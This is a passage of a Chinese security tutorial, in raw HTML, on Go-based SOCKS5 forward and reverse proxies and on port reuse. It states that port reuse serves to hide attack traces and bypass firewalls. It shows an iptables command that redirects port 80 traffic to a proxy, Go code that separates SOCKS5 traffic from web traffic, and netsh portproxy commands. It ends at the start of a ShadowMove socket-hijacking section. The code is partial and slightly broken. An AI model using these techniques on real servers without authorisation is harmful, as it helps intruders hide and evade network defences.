bold;letter-spacing: 0.544px;text-indent: 0em;white-space: pre-wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;visibility: visible;"><span msthash="272077" msttexthash="7714590" style="outline: 0px;font-size: 17px;visibility: visible;">基于golang实现简单代理</span></h2><p style="margin-bottom: 16px;text-indent: 0em;text-wrap: wrap;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;"><strong><span style="outline: 0px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-indent: 0em;white-space-collapse: preserve;visibility: visible;">正向代理</span></strong><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="go"><code><span class="code-snippet_outer"><span class="code-snippet__comment">// 创建监听</span></span></code><code><span class="code-snippet_outer">listener, err := net.Listen(<span class="code-snippet__string">&#34;tcp&#34;</span>, <span class="code-snippet__string">&#34;localhost:1080&#34;</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">if</span> err != <span class="code-snippet__literal">nil</span> {</span></code><code><span class="code-snippet_outer">    log.Fatal(err)</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//接收请求</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">for</span> {</span></code><code><span class="code-snippet_outer">    conn, err := listener.Accept()</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> err != <span class="code-snippet__literal">nil</span> {</span></code><code><span class="code-snippet_outer">        log.Fatal(err)</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">go</span> handleConnection(conn)</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//处理请求</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">func</span> <span class="code-snippet__title">handleConnection</span><span class="code-snippet__params">(conn net.Conn)</span></span> {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">defer</span> conn.Close()</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">// 握手</span></span></code><code><span class="code-snippet_outer">    buf := <span class="code-snippet__built_in">make</span>([]<span class="code-snippet__keyword">byte</span>, <span class="code-snippet__number">256</span>)</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">// 读取客户端的版本和方法</span></span></code><code><span class="code-snippet_outer">    _, err := io.ReadFull(conn, buf[:<span class="code-snippet__number">2</span>])</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> err != <span class="code-snippet__literal">nil</span> {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span></span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    version := buf[<span class="code-snippet__number">0</span>]</span></code><code><span class="code-snippet_outer">    nmethods := buf[<span class="code-snippet__number">1</span>]</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">// 确保版本是5（SOCKS5）</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> version != <span class="code-snippet__number">5</span> {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span></span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">// 读取并丢弃方法</span></span></code><code><span class="code-snippet_outer">    _, err = io.ReadFull(conn, buf[:nmethods])</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> err != <span class="code-snippet__literal">nil</span> {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span></span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">// 发送响应</span></span></code><code><span class="code-snippet_outer">    _, err = conn.Write([]<span class="code-snippet__keyword">byte</span>{<span class="code-snippet__number">0x05</span>, <span class="code-snippet__number">0x00</span>})</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> err != <span class="code-snippet__literal">nil</span> {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span></span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">// 读取客户端的请求</span></span></code><code><span class="code-snippet_outer">    _, err = io.ReadFull(conn, buf[:<span class="code-snippet__number">4</span>])</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> err != <span class="code-snippet__literal">nil</span> {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span></span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">// 处理请求</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">// ...</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="margin-bottom: 16px;text-indent: 0em;text-wrap: wrap;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;"><strong><span style="outline: 0px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-indent: 0em;white-space-collapse: preserve;visibility: visible;">反向代理</span></strong><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="go"><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">func</span> <span class="code-snippet__title">Server</span><span class="code-snippet__params">(listen *net.TCPListener, s5listen *net.TCPListener)</span></span> {</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">for</span> {</span></code><code><span class="code-snippet_outer">    s5conn, err := s5listen.Accept()</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> err != <span class="code-snippet__literal">nil</span> {</span></code><code><span class="code-snippet_outer">      fmt.Println(<span class="code-snippet__string">&#34;接受客户端连接异常:&#34;</span>, err.Error())</span></code><code><span class="code-snippet_outer">      <span class="code-snippet__keyword">continue</span></span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    fmt.Println(<span class="code-snippet__string">&#34;用户客户端连接来自:&#34;</span>, s5conn.RemoteAddr().String())</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">defer</span> s5conn.Close()</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    conn, err := listen.Accept()</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> err != <span class="code-snippet__literal">nil</span> {</span></code><code><span class="code-snippet_outer">      fmt.Println(<span class="code-snippet__string">&#34;接受客户端连接异常:&#34;</span>, err.Error())</span></code><code><span class="code-snippet_outer">      <span class="code-snippet__keyword">continue</span></span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    fmt.Println(<span class="code-snippet__string">&#34;客户端连接来自:&#34;</span>, conn.RemoteAddr().String())</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">defer</span> conn.Close()</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">go</span> handle(conn, s5conn)</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">func</span> <span class="code-snippet__title">handle</span><span class="code-snippet__params">(sconn net.Conn, dconn net.Conn)</span></span> {</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">defer</span> sconn.Close()</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">defer</span> dconn.Close()</span></code><code><span class="code-snippet_outer">  ExitChan := <span class="code-snippet__built_in">make</span>(<span class="code-snippet__keyword">chan</span> <span class="code-snippet__keyword">bool</span>, <span class="code-snippet__number">1</span>)</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">go</span> <span class="code-snippet__function"><span class="code-snippet__keyword">func</span><span class="code-snippet__params">(sconn net.Conn, dconn net.Conn, Exit <span class="code-snippet__keyword">chan</span> <span class="code-snippet__keyword">bool</span>)</span></span> {</span></code><code><span class="code-snippet_outer">    io.Copy(dconn, sconn)</span></code><code><span class="code-snippet_outer">    ExitChan &lt;- <span class="code-snippet__literal">true</span></span></code><code><span class="code-snippet_outer">  }(sconn, dconn, ExitChan)</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">go</span> <span class="code-snippet__function"><span class="code-snippet__keyword">func</span><span class="code-snippet__params">(sconn net.Conn, dconn net.Conn, Exit <span class="code-snippet__keyword">chan</span> <span class="code-snippet__keyword">bool</span>)</span></span> {</span></code><code><span class="code-snippet_outer">    io.Copy(sconn, dconn)</span></code><code><span class="code-snippet_outer">    ExitChan &lt;- <span class="code-snippet__literal">true</span></span></code><code><span class="code-snippet_outer">  }(sconn, dconn, ExitChan)</span></code><code><span class="code-snippet_outer">  &lt;-ExitChan</span></code><code><span class="code-snippet_outer">  dconn.Close()</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><h2 cid="n0" mdtype="heading" style="margin-top: 24px;margin-bottom: 1rem;font-weight: bold;text-indent: 0em;white-space: pre-wrap;outline: 0px;letter-spacing: 0.544px;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;visibility: visible;"><span msthash="272077" msttexthash="7714590" style="outline: 0px;font-size: 17px;visibility: visible;">端口复用</span></h2><p style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: justify;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space-collapse: preserve;visibility: visible;">端口复用，也被称为端口共享，是指在同一台主机上，允许多个网络应用程序使用同一个网络端口的技术。这种技术可以有效地提高网络资源的利用率，避免端口资源的浪费。在网络安全场景下的端口复用主要目的是为了隐藏攻击痕迹和进行防火墙bypass。<br/></span></p><h3 cid="n19" mdtype="heading" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: justify;visibility: visible;"><strong><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space-collapse: preserve;visibility: visible;">重定向方式实现</span></strong><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space-collapse: preserve;visibility: visible;"></span></h3><p cid="n20" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: justify;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space-collapse: preserve;visibility: visible;">使用场景通常为防火墙限制了访问端口。通过系统的流量转发功能实现，Linux下通过iptables实现流量转发。假设原本服务器开放了80端口，我们要将eth0网卡的80端口流量全部转发到本地代理监听端口8080。</span></p><pre spellcheck="false" lang="text" cid="n21" mdtype="fences" style="margin-bottom: 0px;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-top: 15px;width: inherit;color: rgb(51, 51, 51);letter-spacing: normal;"><section style="margin-bottom: 0px;"><span role="presentation" style="padding-right: 0.1px;">iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080</span></section></pre><p cid="n22" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: justify;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space-collapse: preserve;visibility: visible;">再由监听的代理服务做流量分流处理，将带有代理特征的流量保留下来，目标流量发送回对应服务，保证原本服务正常进行。比如如果我们劫持转发的服务为web服务，而我们的代理协议使用的是socks5协议，我们可以通过协议头进行判断和过滤。</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="go"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">package</span> main</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> (</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__string">&#34;io&#34;</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__string">&#34;log&#34;</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__string">&#34;net&#34;</span></span></code><code><span class="code-snippet_outer">)</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">func</span> <span class="code-snippet__title">main</span><span class="code-snippet__params">()</span></span> {</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__comment">// 开始监听8080端口</span></span></code><code><span class="code-snippet_outer">  listener, err := net.Listen(<span class="code-snippet__string">&#34;tcp&#34;</span>, <span class="code-snippet__string">&#34;:8080&#34;</span>)</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">if</span> err != <span class="code-snippet__literal">nil</span> {</span></code><code><span class="code-snippet_outer">    log.Fatal(err)</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">for</span> {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">// 接受一个客户端连接</span></span></code><code><span class="code-snippet_outer">    client, err := listener.Accept()</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> err != <span class="code-snippet__literal">nil</span> {</span></code><code><span class="code-snippet_outer">      log.Fatal(err)</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">go</span> handleClientRequest(client)</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">func</span> <span class="code-snippet__title">checkSocks5</span><span class="code-snippet__params">(r io.Reader)</span> <span class="code-snippet__params">(<span class="code-snippet__keyword">bool</span>, []<span class="code-snippet__keyword">byte</span>, error)</span></span> {</span></code><code><span class="code-snippet_outer">  buf := <span class="code-snippet__built_in">make</span>([]<span class="code-snippet__keyword">byte</span>, <span class="code-snippet__number">2</span>)</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__comment">// 读取前两个字节</span></span></code><code><span class="code-snippet_outer">  _, err := io.ReadAtLeast(r, buf, <span class="code-snippet__number">2</span>)</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">if</span> err != <span class="code-snippet__literal">nil</span> {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">false</span>, <span class="code-snippet__literal">nil</span>, err</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__comment">// 检查版本号</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">return</span> buf[<span class="code-snippet__number">0</span>] == <span class="code-snippet__number">0x05</span>, buf, <span class="code-snippet__literal">nil</span></span></code><code><span class="code-snippet_outer">} </span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">func</span> <span class="code-snippet__title">handleClientRequest</span><span class="code-snippet__params">(client net.Conn)</span></span> {</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">defer</span> client.Close()</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__comment">// 检查是否为SOCKS5</span></span></code><code><span class="code-snippet_outer">  isSocks5, buf, err := checkSocks5(client)</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">if</span> err != <span class="code-snippet__literal">nil</span> {</span></code><code><span class="code-snippet_outer">    log.Println(err)</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">return</span></span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">if</span> !isSocks5 {</span></code><code><span class="code-snippet_outer">    log.Println(<span class="code-snippet__string">&#34;Not a SOCKS5 connection&#34;</span>)</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">return</span></span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__comment">// 连接到本地的80端口</span></span></code><code><span class="code-snippet_outer">  target, err := net.Dial(<span class="code-snippet__string">&#34;tcp&#34;</span>, <span class="code-snippet__string">&#34;localhost:80&#34;</span>)</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">if</span> err != <span class="code-snippet__literal">nil</span> {</span></code><code><span class="code-snippet_outer">    log.Fatal(err)</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">defer</span> target.Close()</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__comment">// 创建一个MultiReader，它首先读取已经读取的字节，然后再读取原始连接</span></span></code><code><span class="code-snippet_outer">  clientReader := io.MultiReader(bytes.NewReader(buf), client)</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__comment">// 开始转发</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">go</span> io.Copy(target, clientReader)</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">go</span> io.Copy(client, target)</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//代理逻辑</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">func</span> <span class="code-snippet__title">proxyHandler</span><span class="code-snippet__params">(conn net.conn)</span></span> {...}</span></code></pre></section><p style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: justify;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space-collapse: preserve;visibility: visible;">对于windows而言，非系统服务，比如重定向 Windows 上的 Apache 的 8080 端口到 1080 端口，我们可以使用 IpNat 进行转发。</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="sql"><code><span class="code-snippet_outer"><span class="code-snippet__comment"># 转发命令 </span></span></code><code><span class="code-snippet_outer">netsh interface portproxy add v4tov4 listenport=源端口 listenaddress=源IP connectport=目标端口 connectaddress=目标IP</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment"># 查看转发规则</span></span></code><code><span class="code-snippet_outer">netsh interface portproxy <span class="code-snippet__keyword">show</span> <span class="code-snippet__keyword">all</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment"># 删除规则</span></span></code><code><span class="code-snippet_outer">netsh <span class="code-snippet__keyword">interface</span> portproxy <span class="code-snippet__keyword">delete</span> v4tov4 listenport=源端口 listenaddress=源IP</span></code></pre></section><p cid="n26" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: justify;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space-collapse: preserve;visibility: visible;">对于系统服务，需要重启系统或加载驱动，并且需要自己编写 Ring3 的部分代码来通过驱动回调增加过滤的条件等。本文不展开讨论这种方式。比较流行的方式有基于 WFP 实现的 WIndiver 以及基于 NDIS 的 WinpkFilter，可以参考</span><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space-collapse: preserve;visibility: visible;"><a href="https://github.com/BarbaTunnelCoder/BarbaTunnel/wiki/Choosing-FilterDriver-(WinDivert-vs-WinpkFilter)" target="_blank">https://github.com/BarbaTunnelCoder/BarbaTunnel/wiki/Choosing-FilterDriver-(WinDivert-vs-WinpkFilter)</a></span></p><h3 cid="n27" mdtype="heading" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: justify;visibility: visible;"><strong><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space-collapse: preserve;visibility: visible;">ShadowMove套接字劫持技术</span></strong><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space-collapse: preserve;visibility: visible;"></span></h3><p cid="n28" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: justify;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space-collapse: preserve;visibility: visible;">ShadowMove是一种从non-cooperative进程中劫持Socket的技术，2020年发布于USENIX大《</span><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space-collapse: preserve;visibility: visible;">ShadowMove: A Stealthy Lateral Movement Strategy</span><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, 